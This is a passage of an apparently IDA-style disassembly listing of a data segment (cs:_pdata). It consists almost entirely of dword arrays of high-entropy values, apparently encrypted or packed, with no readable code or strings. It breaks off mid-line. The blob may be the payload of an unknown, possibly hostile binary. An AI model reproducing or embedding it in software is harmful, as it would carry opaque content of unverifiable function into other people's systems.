cs:_pdata ;org 422000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_422000 dd 8000005Eh, 2E4B0000h, 0CA6C9CEh, 225D9932h, 0F784F94Eh ; DATA XREF: .ex_cod:off_435820o dd 0BC857A76h, 0A0831D7Ah, 5DB9616Fh, 0D12464FAh, 0C363ACCEh dd 0F79B7DCBh, 8A2B91B0h, 71309CAAh, 91FCC90Eh, 6866A6E5h dd 578F6646h, 0AC5676A2h, 71A360D0h, 5F41B17h, 5D8001E8h dd 8D78E5D9h, 0FE6FA9E3h, 93D82C24h, 265A1B89h, 0F33C83BCh dd 0CCA34356h, 0BADFA4C1h, 0A540CD13h, 0F3424D96h, 45E4010Eh dd 9877D32Eh, 9D3D1771h, 34E6894h, 1B0A3AC8h, 372A6139h dd 0AC5B4AFDh, 344FBE3Ch, 40E5E8A5h, 39F219E0h, 8C24D45h dd 1A2A8AC8h, 0ADCA177Eh, 0CB3968B6h, 335D90F3h, 0C7D90821h dd 4E720CEAh, 0EE32ABDAh, 0B0074688h, 0E91D9F29h, 0DCAD7270h dd 8D73EE4Fh, 217C9CA1h, 0B708A457h, 8A11B972h, 0E34E1846h dd 1911A6B8h, 5280208Eh, 827CFB1Fh, 0E63C51DCh, 0C6097F20h dd 3FE33FF1h, 764A78D3h, 0BAC091E9h, 0EA5446BAh, 254598B1h dd 19CE51CDh, 673A2D44h, 666504A3h, 91F191F1h, 0A17D52A7h dd 84A76D28h, 2EE7823h, 55147042h, 5E09C56Ch, 1C8BE036h dd 0CD83DDF3h, 6491CD4Bh, 2594DA2Bh, 17ABC74Eh, 0EA06B8CEh dd 34920E13h, 0F2345A1Ah, 0DF710695h, 3F564FB0h, 0DC40A7CEh dd 2B8BEB8Fh, 82AFBB84h, 5D324CF0h, 33BE0CE7h, 2B09EA70h dd 5EF122D2h, 0F4420719h, 0D3D68022h, 25D52114h, 0DB3FD747h dd 869BDAABh, 4D53DED9h, 702401AEh, 2581A786h, 0EF0EAAD1h dd 374ABC36h, 62DD7AB8h, 9E0E3026h, 0B4573F79h, 0F87AFBA2h dd 454F0151h, 0CC74A18Fh, 9A511145h, 0E28C18D9h, 0ED5E0033h dd 0A307C77Eh, 0E3DA205Ah, 74C5EF8Fh, 636F0C6Fh, 4C4AC094h dd 9246E0F3h, 44B54621h, 12F59672h, 95046F20h, 23A98B8Bh dd 0F973B629h, 652BC1BBh, 195ABFACh, 0EDBD8777h, 0A48223D5h dd 0F6029206h, 0CDEA05CAh, 0BA1BA668h, 3CF43118h, 0B7CAB6E2h dd 6E7469ABh, 67E514E4h, 23E7356Fh, 21375442h, 0D0E1E59Bh dd 77E4B7Ch, 25E085C4h, 0DBB1BC95h, 0CBD6E57Dh, 3471307Fh dd 2C7AD69h, 1AC556A6h, 213CC986h, 740F774Eh, 0B5062887h dd 6E9E4C38h, 4C9BF206h, 33E4694Dh, 226BCFD8h, 1357E2E4h dd 0E1F0384Eh, 66F2A80Fh, 4EC47093h, 80BE876Fh, 0AAFA4716h dd 7CC61FAAh, 6A481D02h, 284EED5Bh, 0F0A477BAh, 0CC3ADB10h dd 0EACE2D7Dh, 0DD9F8068h, 0E293FE53h, 0D2611231h, 326409A0h dd 0B27466AFh, 756DAF29h, 0E81C33DDh, 8E7D6845h, 0BA538286h dd 99431CBBh, 425C8667h, 30CE5BF5h, 343843A2h, 1C204864h dd 43B477BCh, 0C6F5CAE7h, 2C743D54h, 35E9A05Fh, 9C614149h dd 0F7DB1732h, 0A7AB1910h, 87DEC0A7h, 0B2FA3D10h, 0D23CB547h dd 0D4C16196h, 271E301h, 0DEA75499h, 0A2B5BF92h, 0FDE87977h dd 6F91369Dh, 0AAA800CFh, 0F70664D6h, 0C517887Bh, 37834155h dd 5C01331Bh, 779F1EA7h, 670787F2h, 0BEF28AB4h, 0FBEC1B8Dh dd 2C2B4F13h, 6DDCADBh, 1EFEC207h, 4B6F26F3h, 65C2644h dd 0B17617DAh, 0C7D0B674h, 94D9911Bh, 574303EDh, 12405A14h dd 0B3F5F12Fh, 0C26CD28Dh, 0BF806889h, 2067F6BEh, 95DF5870h dd 0B266F412h, 0F0CFA57Ah, 2A9CE613h, 10A867D3h, 0AA670153h dd 0D2D1DCAEh, 87E2A4A2h, 0D04EBA36h, 3453CCB5h, 0D3E824DBh dd 0F91B6149h, 4BA7959Ch, 0AF6F805Ah, 53F11F78h, 377872A9h dd 0A202766Ch, 757AE35Ch, 196384CEh, 7C134336h, 0C253F926h dd 0E410D7B0h, 50A35433h, 10AE5768h, 0A73215B6h, 930349B2h dd 6AD1347Fh, 4D44A0F4h, 0D7720C55h, 6AFF3013h, 70719EC9h dd 467F83C9h, 0A2A84A50h, 86725C5Eh, 1FD6347Bh, 1A07D74Ch dd 0B9F8A044h, 406027CFh, 2C713FA4h, 4E8C8D2Bh, 8675F154h dd 7B029F5Ah, 0FF3456Eh, 0FE9A977Eh, 7BB27000h, 0F175259h dd 97570637h, 708338F8h, 7F30CFBFh, 89BDA491h, 59DFD8CFh dd 7F188635h, 0E0727894h, 0D1E3B996h, 6BD70369h, 4CF18D2Ch dd 938E80CFh, 0BC22F18h, 4C306AF8h, 7BCD1D36h, 0DA19EE13h dd 70059B74h, 19AF9190h, 0FAB36A99h, 3C3FA964h, 0C45ED9CAh dd 2C4D5C1Ah, 6F3859F4h, 90F78FEFh, 0B75966C3h, 2AFE4347h dd 7FF69DFBh, 0D228497h, 4B20F376h, 6F09934Dh, 0DB3C64Fh dd 0ECC1FD2Dh, 8136FF9Bh, 0EA502BABh, 79152276h, 0F9621C6Eh dd 421C0CC5h, 824F11D0h, 2DE8C822h, 5B327194h, 0F8E1C471h dd 0A8938FDh, 0B09E5190h, 58B4E9B9h, 92E478E1h, 0E1539B8Ch dd 0B7133F5Dh, 0B2FA5A9Ch, 363B47A3h, 0ABF7431Ch, 0B584FCF9h dd 0BC89C9ABh, 0A2FD463Ah, 6BBA5B00h, 2E9411D7h, 50022FA0h dd 0DF9C3BC3h, 2FD8D763h, 0BFC1652Bh, 442F69BDh, 0D2F0A7F0h dd 0E55A6872h, 0DF99FC6Ch, 95B0E020h, 3AB8B069h, 6B769D6Fh dd 63CE020Bh, 0ACD29250h, 0E7CA0735h, 576E2B3Eh, 5176E86Fh dd 277CF755h, 8D5D991Fh, 8D91952Ch, 456FFAFEh, 0FBDA2EB2h dd 823073D2h, 4596D0CDh, 0E269C58Ch, 309A89C7h, 0DFF8A87Bh dd 16BBF4A4h, 0E52045D1h, 6C41ABE9h, 3945C136h, 0A9A7B540h dd 5388A6DDh, 63EA6BB7h, 2148897Eh, 9266E757h, 0C2DF6823h dd 0FAA7FB36h, 9FB910ABh, 7E62C503h, 137040F2h, 0C493C5F0h dd 12733A64h, 0CC48703Eh, 105A6247h, 9E38B44Ah, 0CEF35DB9h dd 0B6838A45h, 309DF8F5h, 0E5D3EDCh, 1031B598h, 0BA4EF66Dh dd 0C3BD814Bh, 8317A726h, 0F00ACF18h, 4BC0F02Bh, 6EB3789Fh dd 0AF19CAA5h, 98549FDFh, 53F31146h, 0F217C37Dh, 572E8457h dd 85CB8115h, 0F303D745h, 2A836CDEh, 0B21561FEh, 7F8FEC69h dd 9FBF27ADh, 0B684DF2Ah, 0C777453h, 4C3DC7E1h, 0A5EED46Fh dd 95C072EDh, 499E532Dh, 0B32DDC1Eh, 1B06FED8h, 0A4E37C9Ah dd 0E45DE8B2h, 0AA9A540Ch, 0EDE775D0h, 233614F5h, 89AB3B0Fh dd 1D754FAAh, 0ECE60E53h, 0D433F2A6h, 0F085AFB2h, 0EBD7C2E7h dd 9C347B6Bh, 0A3B3F9C5h, 1FBD8DFEh, 204DFB6Fh, 3C957EBAh dd 0A234C81Dh, 5F95FE80h, 0F1405181h, 238542C8h, 0A1D0F0CEh dd 85522E73h, 0A938CD3Bh, 8D0998B1h, 4F0F3851h, 0D67966D0h dd 430802C0h, 9B12D9h, 9751B6ACh, 0B5572D08h, 0E07D315Fh dd 6E454225h, 53F7B859h, 84824685h, 8581D925h, 7D608044h dd 4010719Bh, 8233DA9Eh, 42336057h, 90F4AB6Fh, 0DB8CDD02h dd 43594696h, 545AA4Eh, 88A08FFBh, 0A682A71Bh, 0B2E8FFC1h dd 2B802028h, 79829FA4h, 338D2031h, 0CB3423FDh, 60FBB166h dd 5415DA76h, 0E9F7FBF9h, 0A5E652D9h, 0EC8C7127h, 9F05F98Bh dd 89D6AE0Ch, 0C5E0E3F6h, 0BC4BDAC9h, 7AACD6Dh, 4E5DBF92h dd 222E8D6Fh, 6826657Dh, 4E60B301h, 207C8C73h, 0D68AF241h dd 582D29C0h, 4BB7E0AEh, 949AC9CAh, 1BB29CF3h, 29A49E8Dh dd 4CA26C62h, 13C7D18Fh, 45F5B93Ch, 499AF96h, 70AB3342h dd 0BE4847BBh, 0F425EE97h, 0E7815D63h, 0B1CF1426h, 255F3FC8h dd 200FD1FBh, 3603BB68h, 0F0C071DAh, 30A240E9h, 0C8110FA7h dd 11837B0Ch, 8DC40F62h, 1406CFA8h, 0F9128F6Bh, 0FD0DECFh dd 7D65AB84h, 3724DB02h, 5352E779h, 0A71E5A85h, 9D0B34B7h dd 3FEE17C5h, 0B8956C7Eh, 2B436C79h, 60213CCAh, 8E54AE7Fh dd 36140313h, 0D580D1D4h, 0D1A4F9A2h, 66BAD88Fh, 0BDCC37C8h dd 0ACE74B47h, 0D04C69B1h, 0D8DE3342h, 3058F5D3h, 0E4B3B694h dd 809B643Fh, 45F86FAAh, 96D3A191h, 0D2DC0904h, 1A2045DAh dd 5C1587BFh, 6CA18D37h, 4AFEE886h, 0C2FF2164h, 0DB1B97EDh dd 0C999AC5Bh, 979FB5E4h dd 52D6D3C8h, 4AF87F0Dh, 792B0152h, 89F29DA3h, 6E487440h dd 3D62D749h, 5BDE60FFh, 53B04D51h, 9231DDD8h, 1BB0B58Eh dd 0B742BEB6h, 0DC7AA342h, 0CA993DB4h, 8F3CD631h, 3C166352h dd 7DDF510Fh, 3E034A5h, 0BB1B413Eh, 3B585658h, 1A00EA86h dd 12AE9933h, 0E4B6FAFFh, 0E1C01F6Eh, 558A6E10h, 9E65D2F9h dd 2767E7FDh, 0AA773A20h, 2BE05D1Eh, 67289CDEh, 158E1869h dd 9A938F19h, 99969686h, 0AD563CF1h, 0F655B734h, 31164375h dd 0E14A4D51h, 26E0F25Bh, 7438FFFFh, 1CE184DBh, 5FDD7106h dd 0F4D514A6h, 881DF828h, 3E6BBE0Eh, 8F13C157h, 6F1E5C17h dd 2FBB0608h, 255C7561h, 29D43Dh, 16A4AC53h, 0DECECAC3h dd 0E88A804h, 6E207A95h, 10AFEADh, 214797D6h, 83813B81h dd 0B7D05037h, 0B79B7980h, 0D13A2B5Fh, 611C4402h, 168A4F1Eh dd 0D200945Ch, 5D1DCB88h, 3B7B2219h, 348C880Bh, 839E4DDAh dd 9311960h, 80D1AA67h, 0C5D769A7h, 0EF2FBA8Ah, 18965B14h dd 6826FFC7h, 40C119E1h, 9A368436h, 0B4847A1Ah, 9E643E82h dd 89E8E987h, 4C0C7F7h, 0BCF21C5h, 0EB5550B5h, 6C3D2067h dd 0F9A8D579h, 0D7442E13h, 412DF40Bh, 888B0F68h, 0D613EFB6h dd 4C83DAD6h, 22C5957h, 0B4AC4CA7h, 0A4054B3Dh, 64BECDA4h dd 75EA899Eh, 0A81C8BE9h, 265CA151h, 0A67F19A0h, 78C40E9Ah dd 0DC599C90h, 4903354h, 3C70DC7Ch, 300EF8DAh, 0A57AFC24h dd 0E43AF3C5h, 9E2F621Bh, 55B5F188h, 0B30305CAh, 51F582A3h dd 0C84F1433h, 6719DBF1h, 0EC47EFEh, 0FAECDCFEh, 0A21E4D72h dd 0EC660B70h, 0D12B7F1Ah, 0EB12C223h, 187B2B38h, 0D02F1E91h dd 1163D154h, 9DFED2B0h, 330CB00Eh, 0DBD9BF66h, 7A0724A0h dd 5FA23CDFh, 26540E2Ch, 14962BCCh, 245F33C4h, 1659605Fh dd 977A57A1h, 55CA7B7Fh, 67AF0903h, 258799D4h, 4A9F9713h dd 0BD6DABC0h, 0FC7EC7B5h, 0ED23F2EDh, 4FD513A0h, 0B7A66FA5h dd 709947A9h, 9337D1D2h, 89E08B90h, 0F9AE2DB3h, 0FE43727Fh dd 6739F222h, 7F3854A6h, 0E9F990Ch, 0A17A5F7Dh, 31624C77h dd 0F712CAB2h, 0F0B6970h, 0EB651A12h, 5B9CC05Eh, 0AFC46EDEh dd 93131D8Fh, 0CC58ECBCh, 8783FBF7h, 3F302A95h, 0BF508D8h dd 78C23648h, 0EB42C59Fh, 838995FEh, 577C3FD6h, 2DE4C180h dd 62043546h, 92B67498h, 811F4248h, 5317BF11h, 0A984618Dh dd 0E234FF12h, 0F254F8D8h, 7235A9E9h, 66A68AB2h, 0D5B30D9Bh dd 0DC514D98h, 16D36B14h, 620CF46Dh, 0CB2CE9D6h, 16C9AFD0h dd 590D1358h, 0A60F139Dh, 0DB9BDAA9h, 0A05D7DBFh, 140B302Bh dd 0EF650A57h, 308861A2h, 39D38C1Eh, 0C606E0C6h, 0E1734C1Dh dd 8D8BA3FBh, 3C0E09A5h, 2B8F46B3h, 0D1A828B5h, 9D8B5487h dd 6BE75B88h, 1192F6B6h, 4868670Fh, 79A177EDh, 756F93E7h dd 17B763DAh, 0ED00594h, 3B4CBE1h, 0A35C8A3Ch, 521FE455h dd 967CC504h, 46B01845h, 186223Dh, 9699E430h, 0CE156B11h dd 7FCF491Fh, 5BE2D140h, 7142F305h, 55C10FDFh, 779AF3E1h dd 0A34362B1h, 455BF057h, 8AFD8CEBh, 9ACF8D3h, 56465C12h dd 55367ED0h, 22866010h, 0ECC92844h, 5B57F773h, 0C7C02B1Ah dd 76EF5728h, 0AC337594h, 2B308395h, 165669D9h, 8C2FB4F0h dd 7DEA3C9Fh, 90BF7A1Dh, 8C58BC58h, 84E4F30Eh, 2B44D4CFh dd 0B94B4FD8h, 7A336B32h, 0CBFBE37Eh, 0F7739C96h, 0AE04661Dh dd 6A010971h, 0CF9F36ADh, 0C45D956Eh, 60B6A6C6h, 2D075DCEh dd 2499D793h, 1F6C43FAh, 0CC707ACFh, 754344DBh, 0D2E4366Eh dd 0C95D59ACh, 0A0D365B9h, 0CEF3336Dh, 82B501D5h, 19A4F753h dd 0BE3BC79Bh, 5BF3AE08h, 17BD42A4h, 835E3755h, 55D0459h dd 193E9346h, 3CEAEB5Ch, 73A5BA08h, 0BCC118EBh, 5878B4B6h dd 221F251Ah, 0E3B97CC3h, 0AF743AEEh, 9C3B331Eh, 0A7A28637h dd 414C89DCh, 4F523CD8h, 7B8612Bh, 485A718Fh, 0BB1CB8CCh dd 0BC5127Ch, 0FE2B388Eh, 0F4475630h, 0AF5EE350h, 0A0343E9Dh dd 11E54127h, 83E6DC5Ah, 0E8CC45E7h, 1422E928h, 0C0B795A9h dd 826E145Fh, 6F200567h, 8575863Ah, 47AE5ED7h, 4B0D2B80h dd 0CA9FEA2Fh, 0BC341202h, 0EABAD441h, 0C032989Bh, 55688216h dd 1358E150h, 0B425CE3Fh, 1879227Ch, 17096FA0h, 5C79FC4Ah dd 3FB5DF1Eh, 0ACE10A90h, 0D0E049ACh, 0C9DFD29Dh, 8FC8E748h dd 480EC21h, 0E5C8D749h, 7A4D0C8Ch, 6862B205h, 0F878B82Ah dd 7462EF62h, 61F47AA7h, 0B112DF5Dh, 0CEE2D521h, 4A8BB75Bh dd 87B162ACh, 0C548BBB0h, 3B6DB6FEh, 0BC7EAA89h, 4916EBABh dd 6C1F9717h, 629F982Dh, 7052ADAh, 822F9DC5h, 54E707E7h dd 325AD4FFh, 9309F194h, 1C181204h, 0EE3AAF5Ch, 0FED281ACh dd 0AC47008Dh, 1DA94FD7h, 11DF0A0Bh, 0F490CF84h, 0BD912079h dd 0FDBF096Bh, 1340B1D4h, 5C2E8C2Eh, 0BDEEF49Eh, 6B78001Ch dd 4C5D24C1h, 41A9E2B6h, 7987A8D8h, 0F098457h, 0DF95BA15h dd 0BA7C9FC8h, 11AF21F7h, 6CA265C1h, 4B988495h, 778E2C60h dd 3A7CA70Fh, 0C224F60Fh, 0D884CC13h, 405FA01Ah, 60855FC1h dd 9648861Fh, 77D3D99Ah, 1A1CD335h, 0F6597939h, 516191D2h dd 8EF15BBEh, 77176F9Bh, 0AAC15119h, 0A78D6129h, 47A14382h dd 0D469B768h, 130C6795h, 91031A39h, 80676EAAh, 3DF1030Eh dd 4570A41Eh, 0B8718D85h, 683436BEh, 47A5E662h, 79ABD922h dd 0A9B33643h, 0D5697999h, 0E5727B8Ah, 69251F16h, 0F338D6F4h dd 907D6DD1h, 9A9A76D3h, 8F66B484h, 7F059F3h, 4C7AE668h dd 0FFB83C0Fh, 0D729C3D2h, 2963AEE7h, 0DEC31386h, 8C2E46D0h dd 0FA75368Fh, 0F6A3EA10h, 47179C86h, 53575789h, 0A216AF80h dd 3C014A58h, 4BEA2437h, 0FFC7E9E9h, 6D6AD498h, 0E73FBD67h dd 9EF68C3Ah, 76F2A414h, 0BC5D9D3h, 1E6ED6ABh, 551C5E2Dh dd 3093A7ACh, 51E093FBh, 1DAA6531h, 872C581Eh, 0CD42D8ECh dd 0E30385F2h, 5B999E74h, 468F7A05h, 5709BDDCh, 7BC50232h dd 3418D05Bh, 6E6C8B08h, 5BA1EC65h, 9EED4D7Bh, 0EEA72DD5h dd 0B6984266h, 543116B4h, 5083DAC0h, 0A158C193h, 0C6654028h dd 96DC4C48h, 3FFA3CA5h, 8CC40B85h, 2949C37Eh, 1AF76188h dd 0C4ED2603h, 4B02BE3h, 0B4CF4B1h, 0C139319h, 700D4288h dd 0FDB05CD8h, 0D7A2C464h, 0F64AD994h, 0CA6FBDFDh, 0F2F3C0FAh dd 0FB4D9F34h, 6BD2B576h, 6CB776D8h, 0C7772A9Dh, 0A02A08D4h dd 0D1384D30h, 29598A83h, 6B75BBA4h, 4D225803h, 3D4DB000h dd 0A0F3AB2h, 2A4CC01Bh, 9F31321h, 4C80EE77h, 9EE99976h dd 9FDC99EFh, 3B0642E3h, 0FF87DBD0h, 0B2EA0571h, 0FEFEA24Eh dd 0CE305BCAh, 2F329431h, 0F222D750h, 953A432Fh, 0EAF95C21h dd 11A3244Fh, 99A0408Ah, 0BC21E5AFh, 35D40718h, 31E0B745h dd 5775FA9Ch, 53E6DFBEh, 813472D4h, 0D17B1A04h, 66E11797h dd 104041D7h, 0E7BA089Dh, 1D15FA5h, 825E2479h, 5FD17F4Ch dd 8CFD697Dh, 0C77F9155h, 0F3DCF437h, 5E400CEDh, 0B3C412D6h dd 84803A01h, 0B837D768h, 215A7EEh, 88F773A3h, 15436669h dd 0B1B6529Bh, 0F1C98FA8h, 9B113533h, 42F38737h, 4E3520D5h dd 14D01D2h, 69A893A9h, 15D7F6C4h, 3221B36Eh, 559E497h dd 0D6B4ADF6h, 1BBFBB00h, 0DF414AADh, 68DA897Bh, 3B46F988h dd 0D3DE84F1h, 0C76F2460h, 4D5C70DAh, 7B559A90h, 8CB0DC28h dd 377331ABh, 0FCAFEB43h, 0D9EFEFB2h, 3E716B8Fh, 0F20C5B3h dd 61CE2D71h, 0AC224610h dd 93EEC312h, 198C138Ch, 0E239236Fh, 66C3ABC8h, 0D343DCC9h dd 2D226EADh, 0C1FFD830h, 8FFB5554h, 34170FADh, 94C42DBBh dd 0BFA3516Fh, 0CBBA86B0h, 0D2FB2B67h, 6D945460h, 3249F225h dd 0A5BD831Eh, 7F2F66B1h, 72916964h, 0E9E02031h, 98F05159h dd 2394AA6Dh, 359B9850h, 0CA7A833Eh, 0B2EE8D96h, 472BD128h dd 0F7263DD6h, 9BABDE9Fh, 0AABC7CC4h, 46323A2Eh, 0E5496A28h dd 0EAD1A790h, 83D4FA1Fh, 9195CBC2h, 0B3D1B2EAh, 1243320Fh dd 0CCA9461h, 907465E9h, 829D2AA2h, 0DA258295h, 0DAF81933h dd 0DBB40301h, 0A4FF8C0Fh, 15AF80ADh, 0D3B8FFD9h, 0D6398829h dd 0DBF20F50h, 42F5E2E0h, 680E7BB5h, 0AB8739FAh, 0E3F31418h dd 0D8899CFEh, 0ECA815C8h, 0DBD9B3D8h, 0E91D094Fh, 0E8CA09D3h dd 4D113D6Eh, 5D672061h, 3533BF74h, 2B809D52h, 77E5DF62h dd 58CFBDCCh, 4A3ADB4h, 0FE38648Bh, 179535A4h, 0B8062A10h dd 0A0846144h, 42659149h, 4D2F6801h, 0F9A18D4Dh, 0F53A2B0Bh dd 0BFA8F9C8h, 0C5FD42DBh, 99E234AFh, 0E7B3BB36h, 0F2F18CECh dd 504DAD33h, 2968E8D8h, 0F41B2B29h, 0CD5AE778h, 61BE3318h dd 9D00D173h, 6C190A15h, 16135626h, 0F7AE7F8Eh, 22427987h dd 0F3EADCDCh, 50B9238h, 0C8782B64h, 0ADAD71DCh, 0E1611217h dd 8ACFFDADh, 3F99072h, 0A06EFF4Ah, 6CF352F1h, 21CAA25Ch dd 5805B8BBh, 5814F42Dh, 736FCEFDh, 0F1F62EBAh, 3594454Eh dd 9A90A336h, 45FC4FA8h, 0F3D7489Eh, 34506A03h, 0F5B059F2h dd 377FD166h, 901E38BBh, 0D26EF752h, 4079D378h, 0F5D174F4h dd 96926083h, 0E7587780h, 0E124D25Ah, 976BEEA5h, 536DA44Bh dd 0AEA141A6h, 52AF6639h, 5F461F99h, 852A9CE0h, 0FDAD2BEAh dd 0B5E5E2ACh, 2350DBAFh, 275A4BE8h, 2E01D405h, 8E40698Bh dd 256E69B4h, 0D57B7349h, 11BD6E1Dh, 7B5E44D5h, 6C339EE2h dd 0AFE0583Dh, 0FFA8A39h, 0AFEABB61h, 4A9C712Dh, 0F13FEBBh dd 118F5748h, 79AB54A2h, 0AA06EB92h, 326BBFBFh, 0E85B29A4h dd 0FACC3D0Eh, 0F69BA034h, 0E8E2F8B8h, 7F25EA1h, 0D154EFDBh dd 18234BDCh, 0DEDA7AC1h, 7C993C04h, 3808574Bh, 73AA3D64h dd 0EAB51BBAh, 0E63C6047h, 0ACCC141Bh, 8ECAE698h, 1209C301h dd 3AF7A5DAh, 1D99B91Ah, 510E989Eh, 0AD9626D1h, 2194FD0Ch dd 91CEA81h, 0E436303Ch, 0D6017BB0h, 0CBBE104Fh, 0DB4C0C8Fh dd 420FD47Eh, 5B735007h, 48ACAD03h, 4223628Ch, 155B8B8Ch dd 0F0CCA042h, 2D477717h, 0A78AE6D6h, 88FDF740h, 0BB363FD6h dd 8AA07D0h, 94590E69h, 7CAC775Dh, 3B9D22ECh, 65519706h dd 2938A9A2h, 0B352C5D0h, 9F4AFBA9h, 5A5A24AEh, 482038D5h dd 0AC27668h, 0FFBB9716h, 5D7232FEh, 0A48AF0BDh, 43204726h dd 1B3062F0h, 4CB6761Ch, 85A041DBh, 9CBE5C82h, 8EB891BEh dd 9E82AFB2h, 53C9BE2Ch, 94BC64A7h, 2CCC7DC5h, 2674681Ah dd 6ED7CF48h, 7344D24Bh, 0FCA03FFCh, 0D6326B14h, 5B3F204Fh dd 3A0DC794h, 0AAC5027Fh, 9EC1FA64h, 0BFBEF539h, 7B1DC405h dd 0A9BBF42Eh, 0FB4F4AB7h, 297CF7B1h, 855392D2h, 74DB1C46h dd 7E107E4Bh, 6572B516h, 12920426h, 40DF5A0Fh, 0E97F915h dd 0BC658918h, 0FDF37ECBh, 3F020258h, 168449F8h, 768DF14Eh dd 7E354C15h, 764A97A7h, 48B0C499h, 0D44337ECh, 4CFE3669h dd 0CD016039h, 0BB8DBE81h, 0C32260ABh, 470B4FBh, 0F04E1C9Dh dd 0A3D47CCBh, 6DE42BB1h, 232F31D1h, 7D42B346h, 0E2C682C5h dd 0BD39B6B7h, 38E96693h, 1263CFB3h, 0C6387E93h, 638EFA4Bh dd 0B87AD7FAh, 0AC1CB714h, 18763EE4h, 0F7CBEF2Fh, 1ECF7401h dd 0C0CD032Ch, 5A3B4F8Eh, 0B8AA578Bh, 0E3220EFBh, 0C4956EF0h dd 69C2932h, 0FECF5E0Bh, 5803F215h, 6A5B6905h, 8F2FD70h dd 25A90740h, 0B6310BE0h, 0F895CB24h, 86BEA1D8h, 0F4045C4Ch dd 0F6737015h, 5FFAC3A7h, 543F6005h, 2F8649ACh, 126F64A6h dd 99D858A9h, 51296781h, 4A6167DCh, 6CB71AC4h, 4117CBB1h dd 704F7F9Dh, 648BE81Dh, 1D8154D7h, 10520859h, 236E3363h dd 7A99DFA2h, 0E4D3716h, 85AD7660h, 0BA607D43h, 0B4CFF560h dd 0BA006E01h, 0A6E6E5CAh, 0EAB1C609h, 0C51910F3h, 0B0B708Fh dd 0AC335714h, 0ADE93A6Ah, 96AA8DDh, 7C9B9C4Ch, 12A0FEF0h dd 1FA59B96h, 508BF24Dh, 983440C5h, 97E3E92Ch, 256F9AC0h dd 0B1CA1E1Fh, 4FEA158Bh, 2BC6E0EBh, 59D0CEABh, 0C3AB7FC7h dd 41E67808h, 58D50A09h, 0BA75CC2Dh, 59A4D3CDh, 71A66E4Dh dd 83E45743h, 0CCDA84A0h, 5F8AFD88h, 17504313h, 63D5BD5Dh dd 0D5F22F0Ch, 834E8832h, 1FBF8FA1h, 0E127F786h, 2C8E86E8h dd 9541D69Ah, 5507F215h, 66B51305h, 0A33C0CDAh, 186885C7h dd 0F535F8A9h, 0FE3B2E7Ah, 0D92809BCh, 616F23C9h, 5234027h dd 45419F7Bh, 6D8797D7h, 90D306E5h, 0C9DAC3AEh, 0F2B61F2Ah dd 4720DB08h, 0FC4FDF7h, 99C527Dh, 6FECA7ACh, 5071967Ah dd 3DECC54Bh, 2F25FEF7h, 8DADE992h, 5985802Fh, 0BC9DF93Bh dd 0B4175E33h, 884E1Ch, 7587D85Dh, 24BCDCAAh, 0C6C42DA3h dd 0D0AEE6C8h, 9995A4F7h, 98086AFFh, 0F3135665h, 1E99ACC9h dd 0ADC54886h, 0C6980E81h, 11D4A86Ah, 7ECA1EEBh, 0AD3225F5h dd 1F49B04Fh, 0B8545D44h, 57AAF8AEh, 21DD1D2Eh, 6C1B5DF2h dd 59F3F40Ah, 0A302F428h, 26A4D80Ah, 961146ECh, 53EDBC0h dd 51D5F938h, 0FB01E4ECh, 0FC5FC957h, 4809B873h, 0B5D2EB8h dd 0AE55E4B7h, 96640ABFh, 4D61C0F3h, 9600954Ah, 1C00CDE7h dd 0E3A88FD0h, 9EAF4C55h, 45D8B294h, 6C6AE26Ah, 7FFE35F3h dd 74236900h, 76CA66ADh, 36807180h, 895BEFA2h, 2155ACAFh dd 0AB35491Fh, 55506AADh, 2D0F84B8h, 33B4800Fh, 0F9699B3Fh dd 0A8C9DC7Ch, 7310E7C1h, 217F951Ah, 0B6BF66F2h, 0AAABF6E4h dd 5153751Dh, 117AE0BFh, 9D1DADF0h, 569536EEh, 0A1439963h dd 7E882D77h, 0C69B7A65h, 0E9450632h, 80BC8455h, 24C968Ch dd 9E0DADFDh, 7868276Eh, 0F918F0B9h, 953FC420h, 0E625B940h dd 0B4008529h, 0F4BC51ABh, 0E094C1B4h, 4239D1Bh, 5409A801h dd 730801C4h, 92927298h, 21C02D4Dh, 93B2688Fh, 8190B692h dd 0CD4B9973h, 0CDE597C0h, 39BC0D3Ah, 6F7EFFB8h, 0D4B74086h dd 75CE2610h, 355A3C17h, 0C2A5AD82h, 0E7CD08E6h, 79C490C0h dd 2C9FE73Dh, 31B26516h, 33FF0358h, 10085E17h, 9D1ABCF8h dd 0B01DDA35h, 52AA4C16h, 0CC39520h, 0F2DECAD8h, 0B6C8F014h dd 0FF02584Eh, 5E77A297h, 611EE71Ah, 0C61180E6h, 749FBB05h dd 0DC0B8043h, 0E601A764h, 4DDB2AEAh, 65248FA9h, 1D531270h dd 0BBDE979Ah, 0B8746CF7h, 2FED5283h, 334DB65Fh, 0D6B1EE84h dd 0C6EAAA20h, 85F2EE6Bh, 6F0FD1F3h, 0FF8E471h, 61B9CCA0h dd 28116602h, 0D70E11Ch, 78561C0Ch, 0ED6C509Dh, 14A7E0EDh dd 35CBA1FDh, 7ED73F66h, 0CB230E7Bh, 0C7F7CBDh, 2FC1456Ch dd 53ACAF21h, 0C060B503h, 0FA5EF298h, 0A883679Ch, 7D8F2200h dd 0FC61641h, 0F27B849Dh, 0AAF5B86h, 5A19449Eh, 0FAB28F30h dd 0A7165264h, 93A28912h, 759DC079h, 0F32F028Ah, 0F3A6D1E6h dd 6D0EFEDAh, 0EB0C9E9Dh, 257AD194h, 5DA7B6C5h, 0C0C19C60h dd 2C60BCC8h, 9C97AB7Ch, 87B93C0h, 0E3B613F8h, 0B7D3F697h dd 0F2D46D3Eh, 0DFC910B9h, 0CD57CF97h, 0F9A5E46Ah, 9285E32Ah dd 0B026683Fh, 0CAD62AEFh, 0BCECC7CDh, 37FCC608h, 21685DBCh dd 3EE53893h, 381B6EFDh dd 0B34CE9F2h, 0F96CA1B3h, 7EF569DEh, 7D66A879h, 424DA85Ah dd 7889001Dh, 285F586Bh, 0DC10517Eh, 2FF75DDDh, 0F4A61043h dd 0DEA6E51Ah, 0A4FF02D0h, 82914826h, 537FB748h, 170FD76Dh dd 62809D80h, 52384D77h, 35E23091h, 7D6E2B44h, 0D0EC39C7h dd 53BDFE08h, 3CAAE282h, 0FB7DA861h, 0FFBB622Fh, 0E095D9BAh dd 0DD13416Dh, 0CBCB52E0h, 6DF4CB61h, 756167A4h, 0C1CF5A2h dd 0A2788213h, 0F979F729h, 90BE83CDh, 9A255169h, 0B176D2A2h dd 93280092h, 57F3A0F1h, 0CEDB00D7h, 0C4790403h, 52C2EDEh dd 61FA0C9Ch, 0F8B18610h, 0C2DCE4A9h, 0FEBFA999h, 0B5D3AB17h dd 0AF57BA0Fh, 